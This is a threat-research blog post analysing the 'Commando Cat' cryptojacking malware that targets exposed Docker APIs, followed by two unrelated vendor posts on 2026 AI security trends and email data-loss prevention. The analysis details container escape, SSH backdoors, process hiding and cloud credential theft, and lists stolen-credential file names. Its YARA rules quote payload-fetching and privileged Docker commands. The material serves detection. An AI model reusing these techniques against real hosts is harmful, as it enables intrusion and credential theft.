Blog
/
/
January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
  3. https://github.com/creaktive/tsh
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/
  5. https://www.gsocket.io/
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

/

December 22, 2025

The Year Ahead: AI Cybersecurity Trends to Watch in 2026

2026 cyber threat trendsDefault blog imageDefault blog image

Introduction: 2026 cyber trends

Each year, we ask some of our experts to step back from the day-to-day pace of incidents, vulnerabilities, and headlines to reflect on the forces reshaping the threat landscape. The goal is simple:  to identify and share the trends we believe will matter most in the year ahead, based on the real-world challenges our customers are facing, the technology and issues our R&D teams are exploring, and our observations of how both attackers and defenders are adapting.  

In 2025, we saw generative AI and early agentic systems moving from limited pilots into more widespread adoption across enterprises. Generative AI tools became embedded in SaaS products and enterprise workflows we rely on every day, AI agents gained more access to data and systems, and we saw glimpses of how threat actors can manipulate commercial AI models for attacks. At the same time, expanding cloud and SaaS ecosystems and the increasing use of automation continued to stretch traditional security assumptions.

Looking ahead to 2026, we’re already seeing the security of AI models, agents, and the identities that power them becoming a key point of tension – and opportunity -- for both attackers and defenders. Long-standing challenges and risks such as identity, trust, data integrity, and human decision-making will not disappear, but AI and automation will increase the speed and scale of the cyber risk.  

Here's what a few of our experts believe are the trends that will shape this next phase of cybersecurity, and the realities organizations should prepare for.  

Agentic AI is the next big insider risk

In 2026, organizations may experience their first large-scale security incidents driven by agentic AI behaving in unintended ways—not necessarily due to malicious intent, but because of how easily agents can be influenced. AI agents are designed to be helpful, lack judgment, and operate without understanding context or consequence. This makes them highly efficient—and highly pliable. Unlike human insiders, agentic systems do not need to be socially engineered, coerced, or bribed. They only need to be prompted creatively, misinterpret legitimate prompts, or be vulnerable to indirect prompt injection. Without strong controls around access, scope, and behavior, agents may over-share data, misroute communications, or take actions that introduce real business risk. Securing AI adoption will increasingly depend on treating agents as first-class identities—monitored, constrained, and evaluated based on behavior, not intent.

-- Nicole Carignan, SVP of Security & AI Strategy

Prompt Injection moves from theory to front-page breach

We’ll see the first major story of an indirect prompt injection attack against companies adopting AI either through an accessible chatbot or an agentic system ingesting a hidden prompt. In practice, this may result in unauthorized data exposure or unintended malicious behavior by AI systems, such as over-sharing information, misrouting communications, or acting outside their intended scope. Recent attention on this risk—particularly in the context of AI-powered browsers and additional safety layers being introduced to guide agent behavior—highlights a growing industry awareness of the challenge.  

-- Collin Chapleau, Senior Director of Security & AI Strategy

Humans are even more outpaced, but not broken

When it comes to cyber, people aren’t failing; the system is moving faster than they can. Attackers exploit the gap between human judgment and machine-speed operations. The rise of deepfakes and emotion-driven scams that we’ve seen in the last few years reduce our ability to spot the familiar human cues we’ve been taught to look out for. Fraud now spans social platforms, encrypted chat, and instant payments in minutes. Expecting humans to be the last line of defense is unrealistic.

Defense must assume human fallibility and design accordingly. Automated provenance checks, cryptographic signatures, and dual-channel verification should precede human judgment. Training still matters, but it cannot close the gap alone. In the year ahead, we need to see more of a focus on partnership: systems that absorb risk so humans make decisions in context, not under pressure.

-- Margaret Cunningham, VP of Security & AI Strategy

AI removes the attacker bottleneck—smaller organizations feel the impact

One factor that is currently preventing more companies from breaches is a bottleneck on the attacker side: there’s not enough human hacker capital. The number of human hands on a keyboard is a rate-determining factor in the threat landscape. Further advancements of AI and automation will continue to open that bottleneck. We are already seeing that. The ostrich approach of hoping that one’s own company is too obscure to be noticed by attackers will no longer work as attacker capacity increases.  

-- Max Heinemeyer, Global Field CISO

SaaS platforms become the preferred supply chain target

Attackers have learned a simple lesson: compromising SaaS platforms can have big payouts. As a result, we’ll see more targeting of commercial off-the-shelf SaaS providers, which are often highly trusted and deeply integrated into business environments. Some of these attacks may involve software with unfamiliar brand names, but their downstream impact will be significant. In 2026, expect more breaches where attackers leverage valid credentials, APIs, or misconfigurations to bypass traditional defenses entirely.

-- Nathaniel Jones, VP of Security & AI Strategy

Increased commercialization of generative AI and AI assistants in cyber attacks

One trend we’re watching closely for 2026 is the commercialization of AI-assisted cybercrime. For example, cybercrime prompt playbooks sold on the dark web—essentially copy-and-paste frameworks that show attackers how to misuse or jailbreak AI models. It’s an evolution of what we saw in 2025, where AI lowered the barrier to entry. In 2026, those techniques become productized, scalable, and much easier to reuse.  

-- Toby Lewis, Global Head of Threat Analysis

Conclusion

Taken together, these trends underscore that the core challenges of cybersecurity are not changing dramatically -- identity, trust, data, and human decision-making still sit at the core of most incidents. What is changing quickly is the environment in which these challenges play out. AI and automation are accelerating everything: how quickly attackers can scale, how widely risk is distributed, and how easily unintended behavior can create real impact. And as technology like cloud services and SaaS platforms become even more deeply integrated into businesses, the potential attack surface continues to expand.  

Predictions are not guarantees. But the patterns emerging today suggest that 2026 will be a year where securing AI becomes inseparable from securing the business itself. The organizations that prepare now—by understanding how AI is used, how it behaves, and how it can be misused—will be best positioned to adopt these technologies with confidence in the year ahead.

Learn more about how to secure AI adoption in the enterprise without compromise by registering to join our live launch webinar on February 3, 2026.  

Continue reading
About the author
The Darktrace Community

Blog

/

Email

/

December 22, 2025

Why Organizations are Moving to Label-free, Behavioral DLP for Outbound Email

Man at laptopDefault blog imageDefault blog image

Why outbound email DLP needs reinventing

In 2025, the global average cost of a data breach fell slightly — but remains substantial at USD 4.44 million (IBM Cost of a Data Breach Report 2025). The headline figure hides a painful reality: many of these breaches stem not from sophisticated hacks, but from simple human error: mis-sent emails, accidental forwarding, or replying with the wrong attachment. Because outbound email is a common channel for sensitive data leaving an organization, the risk posed by everyday mistakes is enormous.

In 2025, 53% of data breaches involved customer PII, making it the most commonly compromised asset (IBM Cost of a Data Breach Report 2025). This makes “protection at the moment of send” essential. A single unintended disclosure can trigger compliance violations, regulatory scrutiny, and erosion of customer trust –consequences that are disproportionate to the marginal human errors that cause them.

Traditional DLP has long attempted to mitigate these impacts, but it relies heavily on perfect labelling and rigid pattern-matching. In reality, data loss rarely presents itself as a neat, well-structured pattern waiting to be caught – it looks like everyday communication, just slightly out of context.

How data loss actually happens

Most data loss comes from frustratingly familiar scenarios. A mistyped name in auto-complete sends sensitive data to the wrong “Alex.” A user forwards a document to a personal Gmail account “just this once.” Someone shares an attachment with a new or unknown correspondent without realizing how sensitive it is.

Traditional, content-centric DLP rarely catches these moments. Labels are missing or wrong. Regexes break the moment the data shifts formats. And static rules can’t interpret the context that actually matters – the sender-recipient relationship, the communication history, or whether this behavior is typical for the user.

It’s the everyday mistakes that hurt the most. The classic example: the Friday 5:58 p.m. mis-send, when auto-complete selects Martin, a former contractor, instead of Marta in Finance.

What traditional DLP approaches offer (and where gaps remain)

Most email DLP today follows two patterns, each useful but incomplete.

  • Policy- and label-centric DLP works when labels are correct — but content is often unlabeled or mislabeled, and maintaining classification adds friction. Gaps appear exactly where users move fastest
  • Rule and signature-based approaches catch known patterns but miss nuance: human error, new workflows, and “unknown unknowns” that don’t match a rule

The takeaway: Protection must combine content + behavior + explainability at send time, without depending on perfect labels.

Your technology primer: The three pillars that make outbound DLP effective

1) Label-free (vs. data classification)

Protects all content, not just what’s labeled. Label-free analysis removes classification overhead and closes gaps from missing or incorrect tags. By evaluating content and context at send time, it also catches misdelivery and other payload-free errors.

  • No labeling burden; no regex/rule maintenance
  • Works when tags are missing, wrong, or stale
  • Detects misdirected sends even when labels look right

2) Behavioral (vs. rules, signatures, threat intelligence)

Understands user behavior, not just static patterns. Behavioral analysis learns what’s normal for each person, surfacing human error and subtle exfiltration that rules can’t. It also incorporates account signals and inbound intel, extending across email and Teams.

  • Flags risk without predefined rules or IOCs
  • Catches misdelivery, unusual contacts, personal forwards, odd timing/volume
  • Blends identity and inbound context across channels

3) Proprietary DSLM (vs. generic LLM)

Optimized for precise, fast, explainable on-send decisions. A DSLM understands email/DLP semantics, avoids generative risks, and stays auditable and privacy-controlled, delivering intelligence reliably without slowing mail flow.

  • Low-latency, on-send enforcement
  • Non-generative for predictable, explainable outcomes
  • Governed model with strong privacy and auditability

The Darktrace approach to DLP

Darktrace / EMAIL – DLP stops misdelivery and sensitive data loss at send time using hold/notify/justify/release actions. It blends behavioral insight with content understanding across 35+ PII categories, protecting both labeled and unlabeled data. Every action is paired with clear explainability: AI narratives show exactly why an email was flagged, supporting analysts and helping end-users learn. Deployment aligns cleanly with existing SOC workflows through mail-flow connectors and optional Microsoft Purview label ingestion, without forcing duplicate policy-building.

Deployment is simple: Microsoft 365 routes outbound mail to Darktrace for real-time, inline decisions without regex or rule-heavy setup.

A buyer’s checklist for DLP solutions

When choosing your DLP solution, you want to be sure that it can deliver precise, explainable protection at the moment it matters – on send – without operational drag.  

To finish, we’ve compiled a handy list of questions you can ask before choosing an outbound DLP solution:

  • Can it operate label free when tags are missing or wrong? 
  • Does it truly learn per user behavior (no shortcuts)? 
  • Is there a domain specific model behind the content understanding (not a generic LLM)? 
  • Does it explain decisions to both analysts and end users? 
  • Will it integrate with your label program and SOC workflows rather than duplicate them? 

For a deep dive into Darktrace’s DLP solution, check out the full solution brief.

[related-resource]

Continue reading
About the author
Carlos Gray
Senior Product Marketing Manager, Email
Your data. Our AI.
Elevate your network security with Darktrace AI